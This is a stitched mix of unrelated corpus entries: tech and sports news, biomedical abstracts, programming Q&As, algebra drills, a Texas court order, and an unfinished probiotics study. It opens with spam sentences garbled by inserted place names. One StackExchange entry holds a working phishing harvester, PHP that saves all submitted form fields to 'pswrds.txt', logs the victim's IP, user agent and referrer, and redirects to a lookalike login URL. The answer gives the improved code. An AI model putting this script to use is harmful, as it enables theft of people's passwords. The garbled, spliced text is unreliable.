"As part of the ongoing safety review of ondansetron, fda continues to assess data about the risk of qt prolongation and will update the public when more information becomes cedar city gunnedah available. ",
"Park ridge i sent a letter to the owner who had the engine replaced but he never answered it.",
"\n\nGlamis it indicates low-grade changes that are usually caused by an hpv infection. ",
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"The garden’s mission is to most legitimate seniors dating online website for serious relationships no money required enrich the lives of andalusia people and foster environmental stewardship through aliquippa horticulture. ",
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"With mvp burnaby front-runner lamar jackson at the helm, baltimore looks like a team nobody wants to play in havre-saint-pierre the stretch run of the season. ",
"Kahului is it to keep wine cool for after-work picnics, or to keep sausages safe on day two of camping? ",
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"Organic produce is offered at the belle air wangaratta terrace genoa salad bar, one of the many ways that villanova is working to reduce the consumption of animal protein."
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[
"If you find your 55\" 1080p TV set is just too small and pixelated, you'll be thrilled to know the next generation of ridiculously enormous, ultra-high-resolution smart TVs are on the way. ",
"Get ready for 4K TV.",
"\n\nOn Wednesday, Sony introduced the 84-inch XBR-84X900, a 3840 x 2160 resolution LCD TV. ",
"It incorporates a detachable 10-speaker audio system that offers \"virtual\" 5.1 surround sound. ",
"It also features built-in WiFi so you can slurp down video and music from Netflix, Pandora, and around 50 other providers through the Sony Entertainment Network.",
"\n\nThe 84-inch display will provide a much more immersive, cinema-like experience for the home. ",
"But much to the chagrin of some cinephiles, the set also offers 3-D, which you'll need to enjoy with the accompanying 3D glasses. ",
"Consumers have repeatedly shown that they're not into popping on a pair of glasses just to attempt to enjoy 3-D at home.",
"\n\nFor the unfamiliar, 4K resolution displays boast 8 million pixels and a resolution four times that of full HD. ",
"And the number itself can be a little confusing. ",
"720p and 1080p displays are for the number of vertical pixels, but the 4K term refers to the number of horizontal pixels.",
"\n\nPreviously the stuff of high-end projectors, 4K has made inroads into televisions as of late. ",
"LG introduced its own 4K television set at CES 2012. ",
"Other manufacturers like Sharp and Toshiba have released smaller 4K TV sets.",
"\n\nWhile there's not that much 4K resolution video out there, Sony has a list of its 4K movie releases online. ",
"You can get a taste for the 4K experience with a handful of videos posted on YouTube.",
"\n\nPrice and availability for Sony's XBR-84X900 haven't yet been announced, but it won't be cheap. ",
"Toshiba's 55-inch 4K set, announced last December, was priced at nearly $12,000. ",
"Sony says the set will ship some time this year."
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[
"Exploring the TLR and NLR signaling pathway relevant molecules induced by the Theileria annulata infection in calves.",
"\nTheileria annulata is the pathogen of bovine tropical theileriosis. ",
"It is extremely harmful to the cattle industry, with huge economic losses. ",
"The toll-like receptor (TLR) and NOD-like receptor (NLR) signaling pathways are crucial for resistance to infection of the protozoa, such as Plasmodium falciparum, Toxoplasma gondii, and Trypanosoma cruzi. ",
"However, the role of these immune-related pathways is unclear during T. annulata infection. ",
"In the present study, peripheral blood mononuclear cells and serum were separated from blood samples of calves infected with homogenized tick supernatants carrying T. annulata sporozoites at 12 h, 24 h, 36 h, 48 h, 72 h, 96 h, 120 h, 144 h and 168 h postinoculation. ",
"The Custom RT2 Profiler PCR Array was used to explore the mRNA levels of 42 TLR and NLR signaling pathway relevant genes. ",
"The TLR1, TLR6, TLR10, NLRP1, and MyD88 genes and their downstream signaling molecules significantly differed after the T. annulata infection in comparison with that of preinfection from 72 h to 168 h postinoculation. ",
"The serum concentrations of IL-6, IL-1β, and TNFα were significantly increased at 96 h and 168 h postinfection. ",
"These findings provided novel information to help determine the mechanisms of TLR and NLR signaling pathway involvement in protection against T. annulata infection."
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[
"Q:\n\nPHP to save user information to txt file\n\nThe following code saves certain information to pswrds.txt:\n<?",
"php\n\n header(\"Location: https://www.randomurl.com/accounts/ServiceLoginAuth \");\n $handle = fopen(\"pswrds.txt\", \"a\");\n\n foreach($_POST as $variable => $value) \n {\n fwrite($handle, $variable);\n fwrite($handle, \"=\");\n fwrite($handle, $value);\n fwrite($handle, \"\\r\\n\");\n }\n\n fwrite($handle, \"\\r\\n\");\n fclose($handle);\n exit;\n\n?",
">\n\nHow can I get the code to also save the IP, User Agent & Referrer?",
"\n$ip = $_SERVER['REMOTE_ADDR'];\n$browser = $_SERVER['HTTP_USER_AGENT'];\n$referrer = $_SERVER['HTTP_REFERER'];\n\nA:\n\nYou could assign $_POST to a variable in your local scope, then add the variables you want to the array:\n$post = $_POST;\n$post['ip'] = $_SERVER['REMOTE_ADDR'];\n$post['browser'] = $_SERVER['HTTP_USER_AGENT'];\n$post['referrer'] = $_SERVER['HTTP_REFERER'];\n\nThen go about your loop as you are doing now, but iterate over $post not $_POST.",
"\nNOTE: Also you should stop hardcoding the newline characters yourself, use PHP_EOL instead. ",
"http://php.net/manual/en/reserved.constants.php#constant.php-eol\nupdate\n<?",
"php\n\n header(\"Location: https://www.randomurl.com/accounts/ServiceLoginAuth \");\n $handle = fopen(\"pswrds.txt\", \"a\");\n\n $post = $_POST;\n $post['ip'] = $_SERVER['REMOTE_ADDR'];\n $post['browser'] = $_SERVER['HTTP_USER_AGENT'];\n $post['referrer'] = $_SERVER['HTTP_REFERER'];\n\n foreach($post as $variable => $value) \n {\n fwrite($handle, $variable);\n fwrite($handle, \"=\");\n fwrite($handle, $value);\n fwrite($handle, PHP_EOL);\n }\n\n fwrite($handle, PHP_EOL);\n fclose($handle);\n exit;\n\n?",
">\n\n"
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[
"2/7*n**2 = 0.",
"\n1, 2\nLet r(m) = m**4 + 5*m**3 + m**2 - 3*m - 3. ",
"Let k = 4 - 1. ",
"Let h(n) = 4*n**3 + 2*n**2 - 2*n - 2. ",
"Let v(u) = k*h(u) - 2*r(u). ",
"Factor v(d).",
"\n-2*d**2*(d - 2)*(d + 1)\nLet d(y) = y**2 - 12*y - 13. ",
"Let t be d(14). ",
"Determine o, given that o**2 - 9*o**4 - t*o**3 + 11*o**2 + 0*o**2 + 12*o = 0.",
"\n-2, -2/3, 0, 1\nFactor 0 - 2/5*s**2 - 16/5*s**3 - 2*s**4 + 4/5*s.",
"\n-2*s*(s + 1)**2*(5*s - 2)/5\nFactor 1/5*p**2 + 1/5*p + 0.",
"\np*(p + 1)/5\nLet -12/7*a + 3/7*a**3 - 6/7*a**2 + 24/7 = 0. ",
"Calculate a.\n-2, 2\nLet t(m) be the third derivative of -m**8/560 - m**7/50 - 7*m**6/100 - m**5/50 + 3*m**4/8 + 9*m**3/10 - 13*m**2. ",
"What is d in t(d) = 0?",
"\n-3, -1, 1\nSuppose -10 - 5 = -5*j. ",
"Factor 10/3*b**j + 2/3*b - 4/3 + 16/3*b**2.",
"\n2*(b + 1)**2*(5*b - 2)/3\nLet i be 24/(-18)*(-3)/2. ",
"Let u(d) be the second derivative of -d + 0*d**3 + 0*d**i + 0 + 0*d**5 - 1/24*d**4 + 1/60*d**6. ",
"What is x in u(x) = 0?",
"\n-1, 0, 1\nLet p(v) be the second derivative of 1/18*v**3 + 0*v**2 - v - 1/36*v**4 + 0 - 1/60*v**5 + 1/90*v**6. ",
"Find h, given that p(h) = 0.",
"\n-1, 0, 1\nLet a(c) be the first derivative of -c**6/90 + c**4/36 - c - 4. ",
"Let n(i) be the first derivative of a(i). ",
"Factor n(q).",
"\n-q**2*(q - 1)*(q + 1)/3\nLet p(k) = 3*k**3 + 12*k**2 - 10*k - 5. ",
"Let j(b) = -2*b**3 - 12*b**2 + 10*b + 4. ",
"Let g(o) = -5*j(o) - 4*p(o). ",
"Find v such that g(v) = 0.",
"\n0, 1, 5\nLet c = 59 - 57. ",
"Solve i**4 - 5/3*i**3 - 1/3*i**c + 5/3*i - 2/3 = 0 for i.\n-1, 2/3, 1\nLet w = 127 - 633/5. ",
"Factor -2/5*f - w*f**2 + 4/5.",
"\n-2*(f - 1)*(f + 2)/5\nFactor 0 - w**3 - 1/3*w**4 - w**2 - 1/3*w.",
"\n-w*(w + 1)**3/3\nLet i(l) be the first derivative of 3 + 1/24*l**4 + 0*l**2 + 0*l + 1/18*l**3. ",
"What is p in i(p) = 0?",
"\n-1, 0\nLet t(i) be the first derivative of -3 + 2/5*i - 2/5*i**4 - 4/5*i**2 + 2/25*i**5 + 4/5*i**3. ",
"Suppose t(d) = 0. ",
"Calculate d.\n1\nLet o(w) be the second derivative of -w - 1/7*w**2 - 2/21*w**3 - 1/42*w**4 + 0. ",
"Solve o(r) = 0 for r.\n-1\nLet a(p) = p + 5. ",
"Let c be a(-4). ",
"Let d be (c/(-3))/(-4 - -3). ",
"Let 4/3*j**3 + 1/3*j**2 - 4/3*j - d = 0. ",
"What is j?",
"\n-1, -1/4, 1\nLet j(w) be the third derivative of w**5/300 - w**3/30 + 9*w**2. ",
"Factor j(n).",
"\n(n - 1)*(n + 1)/5\nLet f(h) be the third derivative of h**7/210 - h**6/24 + 3*h**5/20 - 7*h**4/24 + h**3/3 - 10*h**2. ",
"Factor f(w).",
"\n(w - 2)*(w - 1)**3\nLet a(t) = -t**2 + t + 1. ",
"Let w be a(0). ",
"Let p be (12*w)/1 + 2. ",
"Solve -r + 22*r**2 + 15*r - p*r**3 - 1 - 24*r**4 + 3 = 0 for r.\n-1, -1/3, -1/4, 1\nLet n = 17 + -6. ",
"Suppose 0 = 3*z - 4 - n. Suppose -4*s**2 - 2*s + 4*s**z - 2*s**2 + 6*s**4 + 10*s**3 - 12*s**5 = 0. ",
"What is s?",
"\n-1, -1/4, 0, 1\nSuppose 3 = 5*g - 7. ",
"Let c(p) be the second derivative of 0 + p - 1/8*p**g + 0*p**5 + 1/24*p**4 + 0*p**3 - 1/120*p**6. ",
"Factor c(y).",
"\n-(y - 1)**2*(y + 1)**2/4\nLet b be (-9)/(-15) + 1/(-5). ",
"Factor 4/5*r - 2/5*r**2 - b.\n-2*(r - 1)**2/5\nLet h = 20 - 0. ",
"Suppose -6*g + g = -h. ",
"Determine f, given that -f**5 + g*f**2 + 0*f**2 - 4*f**4 - 2*f + 3*f**5 = 0.",
"\n-1, 0, 1\nLet l(o) = 2*o**2 + 3*o + 1. ",
"Let w be l(-2). ",
"Factor 2*i**3 - 4*i**2 + 4 - i**3 - w*i**3 + i + i.\n-2*(i - 1)*(i + 1)*(i + 2)\nLet o be ((-60)/(-36))/(3/9). ",
"What is n in -4/5*n**3 + 16/5*n**2 + 2/5 - 8/5*n**o + 12/5*n - 18/5*n**4 = 0?",
"\n-1, -1/4, 1\nLet -9 - 15*w**3 + 21*w**2 - 2*w + 1 - 4 + 26*w = 0. ",
"Calculate w.\n-1, 2/5, 2\nFind t, given that -1/2*t - 1/2*t**4 + 1/3*t**3 + 1/3*t**2 + 1/6*t**5 + 1/6 = 0.",
"\n-1, 1\nSuppose 4/9*u**2 + 14/9*u**3 - 2/9*u + 0 + 8/9*u**4 = 0. ",
"What is u?",
"\n-1, 0, 1/4\nFactor 2/3*g**5 - 8/3*g**4 - 8/3*g**2 + 0 + 2/3*g + 4*g**3.",
"\n2*g*(g - 1)**4/3\nLet q be 0 - 0 - (-2832)/4884. ",
"Let k = q + -8/37. ",
"Solve -2/11 - 2/11*y + 4/11*y**2 - 2/11*y**4 - 2/11*y**5 + k*y**3 = 0.",
"\n-1, 1\nLet i(t) be the second derivative of 0 + 49/120*t**6 + 2*t - 5/2*t**3 - 61/24*t**4 - 21/80*t**5 - t**2. ",
"Factor i(y).",
"\n(y - 2)*(y + 1)*(7*y + 2)**2/4\nLet k(l) be the third derivative of l**5/160 - l**3/16 - 17*l**2. ",
"Solve k(q) = 0 for q.\n-1, 1\nLet z = 9 + -9. ",
"Let k(b) be the third derivative of 0*b - 1/60*b**5 + 0*b**4 + 0 + 1/60*b**6 + 2*b**2 - 1/210*b**7 + z*b**3. ",
"Factor k(o).",
"\n-o**2*(o - 1)**2\nLet s(h) be the third derivative of -h**8/336 + 7*h**6/120 + h**5/30 - h**4/2 - 4*h**3/3 - 10*h**2. ",
"Factor s(b).",
"\n-(b - 2)**2*(b + 1)**2*(b + 2)\nLet s(y) be the first derivative of 4/3*y**3 + 8 + 0*y**2 + 0*y. ",
"Solve s(g) = 0.",
"\n0\nLet q(r) = r**2 - 4*r - 1. ",
"Let k(g) = -g**2 + g - 2. ",
"Let d(y) = -y**2 - 3. ",
"Let a(v) = -4*d(v) + 5*k(v). ",
"Let c(h) = -4*a(h) - 6*q(h). ",
"Factor c(j).",
"\n-2*(j - 1)**2\nFactor 1/2*h**3 - 1/2*h**2 + 0*h + 0.",
"\nh**2*(h - 1)/2\nSuppose -y + 20 = 2*i + 2*y, 3*i - 32 = -5*y. ",
"Let q(n) be the first derivative of 1/14*n**i - 3/7*n**2 - 4/7*n + 3 + 0*n**3. ",
"Let q(d) = 0. ",
"What is d?",
"\n-1, 2\nSolve z + 0 + 7/2*z**2 + 5/2*z**3 = 0.",
"\n-1, -2/5, 0\nLet v(q) = q + 1. ",
"Let t be v(2). ",
"Find r, given that -2*r**3 + 19*r - 19*r + t*r**3 - 2*r**2 = 0.",
"\n0, 2\nDetermine g so that -2/5*g**5 - 4/5 + 0*g**4 + 8/5*g**3 - 6/5*g + 4/5*g**2 = 0.",
"\n-1, 1, 2\nLet l be (-6 + -3)*(0 + -1). ",
"Let j be ((-24)/l - -2)/(-1). ",
"Factor 0*c - j*c**2 + 4/3*c**3 + 0 - 2/3*c**4.",
"\n-2*c**2*(c - 1)**2/3\nFactor -4*s + 6*s + 26*s**3 + 27*s**2 - 10*s**2.",
"\ns*(2*s + 1)*(13*s + 2)\nFactor 0 + 3*y**3 + 0*y + 3/2*y**4 + 0*y**2.",
"\n3*y**3*(y + 2)/2\nLet s be 130/25 - 16/(-3 + 7). ",
"Find t such that 2/5*t**3 + 0 + 4/5*t - s*t**2 = 0.",
"\n0, 1, 2\nSolve 9/7*k**2 + 0 - 3/7*k - 9/7*k**4 + 3/7*k**3 = 0 for k.\n-1, 0, 1/3, 1\nLet f(c) = c**2 - 8*c. ",
"Let l be f(8). ",
"Let z(t) = t**3 + 4*t**2 - 7*t - 7. ",
"Let g be z(-5). ",
"Factor j**2 + 4*j + l - 1 + 0*j - 4*j**g.",
"\n-(j - 1)*(j + 1)*(4*j - 1)\nSuppose u - 6 = -2*u. ",
"Factor -1 + 3 - c - 3*c**u + 2*c**2.",
"\n-(c - 1)*(c + 2)\nLet n(k) be the second derivative of -k**4/12 - 2*k**3/3 - 2*k**2 - 4*k. ",
"Factor n(i).",
"\n-(i + 2)**2\nLet z(i) be the first derivative of -i**6/1260 - i**5/420 + i**4/42 + i**3/3 - 1. ",
"Let h(n) be the third derivative of z(n). ",
"Factor h(r).",
"\n-2*(r - 1)*(r + 2)/7\nLet p be 4 - (12/3)/4. ",
"Let b(d) be the third derivative of 1/168*d**7 + 1/24*d**4 + 3*d**2 + 0*d**p + 0*d + 0 - 7/480*d**6 - 1/30*d**5. ",
"Solve b(i) = 0 for i.\n-1, 0, 2/5, 2\nFactor -2/3*c**3 + 2/3*c**5 + 0 + 2/3*c**4 + 0*c - 2/3*c**2.",
"\n2*c**2*(c - 1)*(c + 1)**2/3\nLet z be ((-78)/27 + 0)*-3. ",
"Suppose 3*b - 5*u = 11, 5*u + 2 + 3 = 0. ",
"Solve -8*r - 8/3 - 2/3*r**4 - z*r**b - 4*r**3 = 0.",
"\n-2, -1\nLet f(n) be the second derivative of n**8/11760 - n**7/2940 + n**6/2520 + 4*n**3/3 - 2*n. ",
"Let y(r) be the second derivative of f(r). ",
"Find z such that y(z) = 0.",
"\n0, 1\nSuppose 2*m + 5*u = -41 + 10, 0 = 5*m - 5*u - 10. ",
"Let x be m/((-3)/(-3) - 2). ",
"Suppose -4/3*w**2 + 2/3*w + 0 - 2/3*w**5 + 4/3*w**4 + 0*w**x = 0. ",
"Calculate w.\n-1, 0, 1\nLet z = -18 + 16. ",
"Let p(f) = f**3 + 2*f**2 - f - 2. ",
"Let r be p(z). ",
"Factor 2/5*y**3 - 2/5*y**2 - 2/5*y**5 + 0 + r*y + 2/5*y**4.",
"\n-2*y**2*(y - 1)**2*(y + 1)/5\nLet x = -7547/11 - -687. ",
"Factor -4/11 + x*h + 14/11*h**2.",
"\n2*(h + 1)*(7*h - 2)/11\nSuppose p - 5*y = 16, 4*p = 4*y - y + 13. ",
"Suppose -1 = -b + p. Factor 2/3*n - 2/9*n**b + 0.",
"\n-2*n*(n - 3)/9\nSuppose -5*w + 2 = -3. ",
"Let p(q) = q**3 - 3*q - 2. ",
"Let o(h) = -h**3 - 1. ",
"Let u(a) = w*p(a) - 2*o(a). ",
"Factor u(g).",
"\n3*g*(g - 1)*(g + 1)\nLet g(t) = -t**5 - t**4 + 6*t**3 + 6*t**2 + 5. ",
"Let p(u) = 3*u**3 + 3*u**2 + 3. ",
"Let c(h) = 3*g(h) - 5*p(h). ",
"Factor c(b).",
"\n-3*b**2*(b - 1)*(b + 1)**2\nLet h(z) = z**2 - 5*z - 21. ",
"Let r be h(8). ",
"Factor 0*s + 2*s**2 - 2/3*s**r - 8/3.",
"\n-2*(s - 2)**2*(s + 1)/3\nLet j(k) be the first derivative of 5*k**4/6 - 2*k**3/3 - 2*k**2/3 - 18. ",
"Let j(l) = 0. ",
"What is l?",
"\n-2/5, 0, 1\nLet t(c) be the second derivative of -8*c**6/15 + 7*c**5/5 + 2*c**4 - 14*c**3/3 - 4*c**2 + 7*c. ",
"Find q such that t(q) = 0.",
"\n-1, -1/4, 1, 2\nLet s(q) be the first derivative of 3*q**4/20 + 18*q**3/5 + 162*q**2/5 + 648*q/5 - 23. ",
"What is l in s(l) = 0?",
"\n-6\nFind d such that 10450*d**2 - 2*d**5 - 4*d**5 - 15125*d + 175*d**4 + 526*d**3 + 6655 + d**5 - 2676*d**3 = 0.",
"\n1, 11\nLet r(k) be the second derivative of -k**4/24 + k**3/4 + 7*k. ",
"Factor r(w).",
"\n-w*(w - 3)/2\nLet i(q) be the third derivative of q**5/240 + q**4/48 + q**3/24 + 12*q**2. ",
"Let i(n) = 0. ",
"Calculate n.\n-1\nLet u(y) be the first derivative of -y**4/10 + 16*y**3/15 - 7*y**2/5 + 8. ",
"Factor u(f).",
"\n-2*f*(f - 7)*(f - 1)/5\nLet c(o) be the second derivative of 3*o**7/70 + 19*o**6/75 + 31*o**5/50 + 4*o**4/5 + 17*o**3/30 + o**2/5 + 6*o. ",
"Solve c(s) = 0.",
"\n-1, -2/9\nLet p = 24 + -95/4. ",
"Let t be 15/6*(-18)/(-15). ",
"Determine w so that -p - 1/4*w**4 - 3/2*w**2 + w**t + w = 0.",
"\n1\n"
] | {
"pile_set_name": "DM Mathematics"
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[
"BlackBerry Enterprise Chief Explains How They Plan on Competing\n\nPeter let us know about a great interview and commentary by Larry Dignan of ZDNet where he sits down with Stephen Bates, chief of BlackBerry’s enterprise software and services unit. ",
"He talks frankly with Stephen about the challenges BlackBerry is up against and how BlackBerry plans to address them. ",
"Mainly he states that all he can do currently is talk to their customers until this Fairfax deal or another deal wraps up in the next 3 weeks."
] | {
"pile_set_name": "Pile-CC"
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[
"Lecture Icon in Flat Style\n\nThis Lecture icon is made in flat color style. ",
"This format was developed by Icons8 designer team and became immensely popular for use in web and mobile applications. ",
"Feel free to download this icon in PNG format for free, or unlock other formats for $5. ",
"Unlike other icon packs that have merely hundreds of icons, this monster icon pack contains 5,700 icons, all in the same style and quality.",
"\n\nIt is a picture of podium. ",
"Only the top half is drawn with a small microphone. ",
"In the bottom half, instead of the podium, there are small circles indicating there is an audience. ",
"There are seven circles in total.",
"\n\nRelated to Lecture Icon\n\nRelated icons are the icons with matching tags, as well as all business icons. ",
"All icons are in the same flat style. ",
"You can either download free PNG icons or buy SVG vectors"
] | {
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[
"!! ",
"OMG, they’re naked: The men of the Dutch version of ‘The Bachelor’ AKA ‘Adam Zkt. ",
"Eva’ !!",
"\n\nThe Netherlands have their own version of The Bachelor (but with less clothing) called Adam Seeks Eve. ",
"Check out some of the male contestants competing for the heart of a one very classy lady after the NSFW jump!"
] | {
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[
"Q:\n\nCan't set action in aui:form although I named the action in MVCPortlet\n\nI'm having a bit of a problem tracing where this error comes from, in my jsp I have a form set like this: \n<jsp:useBean id=\"usuario\" type=\"com.cide.cajaVirtual.",
"EContinua.model.",
"Estudiantes\" scope=\"request\">\n</jsp:useBean>\n<jsp:useBean id=\"compras\" type=\"com.cide.cajaVirtual.",
"EContinua.model.",
"EstudiantesCompras\" scope=\"request\">\n</jsp:useBean>\n\n<% Calendar now = CalendarFactoryUtil.getCalendar(); %>\n<portlet:actionURL name=\"registrarCompra\" var=\"registrarCompraURL\"> \n<aui:form name=\"fmCompra\" action=\"<%=registrarCompraURL.toString() %>\" method=\"post\">\n\nThen in my portlet class I have: \npublic class CajaVirtualPortlet extends MVCPortlet {\n /*\n * El portlet RegistroUsuariosComprasPortlet permite a los estudiantes llenar la forma \n * de registro y hacer una compra de la oferta de Educación Continua\n * \n */\n\npublic void addCompra(ActionRequest request, ActionResponse response) throws Exception {\n ThemeDisplay themeDisplay =\n (ThemeDisplay) request.getAttribute(WebKeys.",
"THEME_DISPLAY);\n\n}\n\npublic void registrarCompra(ActionRequest request, ActionResponse response) throws Exception {\n}\n\nBut I keep getting the error on Eclipse that says \"registrarCompraURL cannot be resolved\"\nI ask this because honestly I don't have an idea of what I'm doing wrong, as I said I lost trace of what I was doing while typing in Eclipse. ",
"Please someone help!",
"\n\nA:\n\nI suspect portlet action url tag is not closed thats why you are facing this issue.",
"\nTry <portlet:actionURL name=\"registrarCompra\" var=\"registrarCompraURL\"/>\nAlso make sure you have taglib declared for it like.",
"\n<%@ taglib uri=\"http://java.sun.com/portlet_2_0\" prefix=\"portlet\" %>\n\n"
] | {
"pile_set_name": "StackExchange"
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[
"What to Know Former Knicks great Charles Oakley sued the team's owner James Dolan for libel and slander\n\nOakley alleges he was defamed after a scuffle at Madison Square Garden in early February\n\nOakley accepted a deal with prosecutors in August on criminal charges related to the fight\n\nFormer Knicks star Charles Oakley has sued the team's owner James Dolan and Madison Square Garden for libel and slander over a much-publicized dispute at the New York City arena earlier this year.",
"\n\nThe suit, filed Tuesday in federal court in Manhattan, accuses Dolan of defaming Oakley and also alleges assault, battery and violations of the Americans with Disabilities Act. ",
"The lawsuit seeks compensatory damages for \"emotional distress and/or mental anguish\" and punitive damages.",
"\n\nThe Madison Square Garden Co. called the lawsuit \"frivolous\" and \"nothing more than another attempt by Mr. Oakley to garner attention. ",
"We will deal with this accordingly.\"",
"\n\n\n\nThe lawsuit details how Oakley was treated before and after he was forcefully removed from The Garden during a February game earlier this year.",
"\n\n\n\nOakley's lawyers allege in the lawsuit that in the days after the incident, Dolan and MSG launched \"a coordinated and defamatory public relations campaign against Mr. Oakley, baselessly accusing him of abusing fans and staff, acting inappropriately and struggling with alcoholism.\"",
"\n\n\"By propagating these blatant lies about Mr. Oakley, Defendants Dolan and MSG have caused irreparable harm to his name and career and discriminated against him based on the false perception that he is an alcoholic, all in a transparent attempt to denigrate his standing among Knicks fans,\" the lawsuit claims.",
"\n\nOn Feb. 8, Oakley sat a few rows from the Knicks owner at a game against the Los Angeles Clippers.",
"\n\nSecurity approached, and a fracas ensued. ",
"Oakley was handcuffed and ejected.",
"\n\nOakley was charged with three counts of misdemeanor assault and one count of criminal trespass. ",
"He was accused of striking one security guard in the face with a closed fist, and when two other people tried to intervene, both were pushed and received cuts.",
"\n\nIn August, Oakley reached a deal with prosecutors who agreed to drop the charges if he stays out of trouble for six months and complies with a condition barring him from MSG for one year, the Manhattan District Attorney's Office said at the time.",
"\n\nThe 53-year-old said then that a trial would waste time and money that should be used to \"keep the streets better for kids.\"",
"\n\nHis lawyer said Oakley didn't need a trial to prove his innocence.",
"\n\nThe former NBA enforcer and rebounding machine played for the Knicks from 1988 to 1998, helping the team reach the NBA Finals. ",
"He has since had a splintered relationship with the organization because of his criticism of Dolan."
] | {
"pile_set_name": "OpenWebText2"
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[
"Q:\n\nPDFview scrolls to bottom of the page in single page document\n\nI am creating a PDFViewer application.",
"\nI have set the autoScale Property of the PDFViewer to true, so that it the view expands to the width of the screen.",
"\nWorks fine with large PDF documents.",
"\nBut when the document is a single page document, the page automatically scrolls down to the end of the page, instead of starting with the beginning.",
"\nI just cant understand the root cause of it.",
"\nWhat am I missing here?",
"\n\nA:\n\nI think this is a bug in PDFView.",
"\nAs workaround I suggest to manually scroll top the top:\nself.pdfView.document = pdfDocument;\n\nNSPoint pt = NSMakePoint(0.0, [self.pdfView.documentView bounds].size.height);\n[self.pdfView.documentView scrollPoint:pt];\n\nBug Reporter\nrdar://37942090: PDFview scrolls to bottom of the page in single page document.",
"\n\nA:\n\nI propose this solution for scrolling to top of first page (it works on iOS 11.3):\nif let document = pdfView.document,\n let firstPage = document.page(at: 0)\n{\n let firstPageBounds = firstPage.bounds(for: pdfView.displayBox)\n pdfView.go(to: CGRect(x: 0, y: firstPageBounds.height, width: 1.0, height: 1.0), on: firstPage)\n}\n\nA:\n\nThis is what I did, it's a bit hacky\nif let scrollView = pdfView.subviews.first as? ",
"UIScrollView {\n scrollView.contentOffset.y = 0.0\n}\n\n"
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[
"\nOpinion issued January 20, 2005\n\n\n\n\n\n\n\n\n\n\nIn The\nCourt of Appeals\nFor The\nFirst District of Texas\n\n\n\n\nNO. ",
"01–04–01060–CV\n\n\n\n\nNEWMARK HOMES, L.P., Appellant\n\nV.\n\nINDERMUEHLE & COMPANY, Appellee\n\n\n\n\nOn Appeal from the 268th District Court\nFort Bend County, Texas\nTrial Court Cause No. ",
"2003CV132128\n\n\n\n\nMEMORANDUM OPINIONAppellant Newmark Homes, L.P. has neither established indigence, nor paid\r\nall the required fees. ",
" See Tex. ",
"R. App. ",
"P. 5 (requiring payment of fees in civil cases\r\nunless indigent), 20.1 (listing requirements for establishing indigence); see also Tex.",
"\r\nGov’t Code Ann. §§ ",
"51.207, 51.941(a), 101.041 (Vernon Supp. ",
"2004) (listing fees\r\nin court of appeals); Fees Civ. ",
"Cases B(1), (3) (listing fees in court of appeals). ",
"\r\nAfter being notified that this appeal was subject to dismissal, appellant Newmark\r\nHomes, L.P. did not adequately respond. ",
" See Tex. ",
"R. App. ",
"P. 5 (allowing\r\nenforcement of rule); 42.3(c) (allowing involuntary dismissal of case).",
"\n The appeal is dismissed for nonpayment of all required fees. ",
" All pending\r\nmotions are denied.",
"\nPER CURIAM\nPanel consists of Justices Nuchia, Jennings, and Alcala.",
"\n"
] | {
"pile_set_name": "FreeLaw"
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[
"Balla J, Heneghan C, Thompson M, *et al*. ",
"Clinical decision making in a high-risk primary care environment: a qualitative study in the UK. *",
"BMJ Open* 2012;**2**:e000414corr1.",
"\n\nThe Acknowledgements section in this article is missing and should be: **Acknowledgements** We thank the participants for sharing their wisdom and giving so freely of their time. ",
"Mary Hodgkinson administered the project and had the arduous task of transcribing the tapes.",
"\n"
] | {
"pile_set_name": "PubMed Central"
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[
"Moderating effects of autism on parent views of genetic screening for aggression.",
"\nAdvances in gene-environment interaction research have revealed genes that are associated with aggression. ",
"However, little is known about parent perceptions of genetic screening for behavioral symptoms like aggression as opposed to diagnosing disabilities. ",
"These perceptions may influence future research endeavors involving genetic linkage studies to behavior, including proactive approaches for parents to avoid events leading to aggression. ",
"The purpose of this study was to solicit the perspectives of parents who have children with autism about screening for genes associated with aggression, compared to responses from those who have children without disabilities and those planning to have children. ",
"Parents of children with autism were more likely to support screening and the use of the results to seek treatment if necessary. ",
"Results are discussed in the context of surveillance screening and systematic early intervention for behavioral symptoms related to autism. ",
"The results may provide insight for clincians, researchers, policymakers, and advocacy groups related to diagnosing and treating aggression in people with autism."
] | {
"pile_set_name": "PubMed Abstracts"
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[
"Background\n==========\n\nInfection of pancreatic necrosis is the major cause of death in acute pancreatitis \\[[@B1]-[@B4]\\] Small bowel bacterial overgrowth and subsequent bacterial translocation are held responsible for the majority of these infections \\[[@B5]-[@B9]\\] Antibiotic prophylaxis has been studied in several trials \\[[@B10]-[@B13]\\]. ",
"Recently, a well-designed placebo-controlled trial failed to show a reduction of infectious complications \\[[@B14]\\]. ",
"A multicenter trial from the Netherlands, using topical and enteral antibiotics to reduce bacterial overgrowth (selective bowel decontamination, SBD) showed a reduction in infected necrosis \\[[@B15]\\]. ",
"Despite favourable results, SBD has not been widely implemented due to the workload associated with it and the reluctance to use antibiotics for a long period of time with risks of bacterial resistance and fungal infection \\[[@B16],[@B17]\\]. ",
"Microbial antibiotic resistance has become a worldwide problem due to excessive use. ",
"The World Health Organisation has advocated the use of microbial interference therapy: non-pathogens (probiotics) to restrain pathogens \\[[@B18]\\]. ",
"It is the goal of the present study to investigate the use of prophylactic probiotics as an alternative strategy.",
"\n\nSeveral trials with enteral probiotics have shown a significant reduction of infectious complications both in acute pancreatitis and in patients undergoing major abdominal surgery \\[[@B19]-[@B21]\\] A well-designed placebo-controlled trial with *Lactobacillus plantarum*in patients with acute pancreatitis showed very interesting results: a significant reduction of infected pancreatic necrosis (1/22 versus 7/23 infected necrosis)\\[[@B19]\\]. ",
"However, some criticised this study because of the exclusion of biliary pancreatitis patients and some statistical flaws \\[[@B22],[@B23]\\]. ",
"In these and other trials a single probiotic strain was used.",
"\n\nIt has been suggested that multispecies probiotics are more effective, because effects are strain specific. ",
"Combinations of probiotics can be designed so that strain-specific properties are additive or synergistic. ",
"Based on *in vitro*data, a selection of 6 out of 75 probiotic strains was made by Winclove Bio Industries (Amsterdam, the Netherlands) in co-operation with the Departments of Paediatric Immunology and Surgery, of the UMC Utrecht (Utrecht, The Netherlands). ",
"This paper describes the rationale of this product and the design of the study.",
"\n\nRationale for the efficacy of multispecies probiotics in acute pancreatitis\n---------------------------------------------------------------------------\n\nThe bacteria responsible for infection of (peri-)pancreatic necrosis most often originate from the gut \\[[@B2],[@B5],[@B27]\\] The pathophysiology of infection of peri-pancreatic necrosis and the steps amenable to therapeutic intervention are essentially unknown. ",
